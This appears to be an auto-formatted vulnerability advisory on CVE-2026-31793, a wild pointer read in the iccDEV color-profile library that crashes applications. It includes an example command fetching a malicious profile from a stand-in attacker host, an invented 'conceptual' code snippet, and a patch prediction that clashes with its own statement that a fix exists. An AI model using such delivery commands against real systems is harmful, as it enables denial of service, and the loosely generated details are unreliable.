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CVE-2026-31793 is a vulnerability in the iccDEV library, a toolkit for handling ICC color profiles, prior to version 2.3.1.5. The issue resides in the `CIccCalculatorFunc::ApplySequence()` function, which is part of the color transformation calculation engine. When processing a specially crafted ICC profile, the function fails to validate a pointer before dereferencing it. This leads to an invalid or “wild” pointer read, meaning the program attempts to access a memory location it is not permitted to or one that does not contain valid data. This invalid memory access causes the application to crash due to a segmentation fault. The crash constitutes a denial of service (DoS), as it disrupts the normal operation of any application or service utilizing the vulnerable library to parse the malicious color profile. The attack vector is local (AV:L) and requires user interaction (UI:R), such as tricking a user into opening a file or loading a profile from an untrusted source. The vulnerability is classified as CWE-125 (Out-of-bounds Read) and CWE-703 (Improper Check of Exceptional Conditions). The issue has been addressed by the developers in iccDEV version 2.3.1.5 by implementing proper pointer validation checks within the `ApplySequence` function.
dailycve form:
Platform: iccDEV library
Version: Before 2.3.1.5
Vulnerability: Wild pointer read
Severity: Medium 5.5 CVSS
date: March 10 2026
Prediction: Patch within weeks
What Undercode Say:
Analytics:
The vulnerability was published on March 10, 2026, and last modified by NIST on March 13, 2026 . It was assigned by GitHub, Inc., indicating the project is hosted there. The CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) shows it is a local attack with low complexity, requiring no privileges but user interaction. The impact is solely on availability, making it a targeted DoS risk for systems processing color profiles. The weakness is rooted in improper exception handling leading to an out-of-bounds read .
Exploit:
While a public exploit is not confirmed, the crash can be triggered by feeding the library a malformed ICC profile.
Example of how an attacker might deliver the payload via a web service This assumes the victim's application downloads and processes the profile. wget http://attacker.com/malicious.icc -O crash.icc ./vulnerable_color_app crash.icc
// Conceptual code snippet showing the vulnerable pattern
class CIccCalculatorFunc {
// ...
bool ApplySequence(ICC_Profile pProfile) {
// Vulnerable code: pProfile->GetTransform() might be NULL or wild
Transform t = pProfile->GetTransform(); // Missing NULL check
t->Apply(); // <-- SEGFAULT if 't' is invalid
return true;
}
}
Protection from this CVE:
The primary solution is to update to the patched version.
Update the library using a package manager or source Example for systems using git and make git clone https://github.com/iccDEV/iccDEV.git cd iccDEV git checkout v2.3.1.5 ./configure make sudo make install
If immediate patching is not possible, implement strict input validation. Disable automatic processing of ICC profiles from untrusted sources. Use application sandboxing to limit the damage of a crash.
Impact:
Successful exploitation leads to an application crash. This can be used to disrupt services that rely on iccDEV for color management, such as image processing servers, graphic design software, or print servers. By repeatedly sending malicious profiles, an attacker could sustain a denial of service, making the targeted service unavailable.
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Sources:
Reported By: nvd.nist.gov
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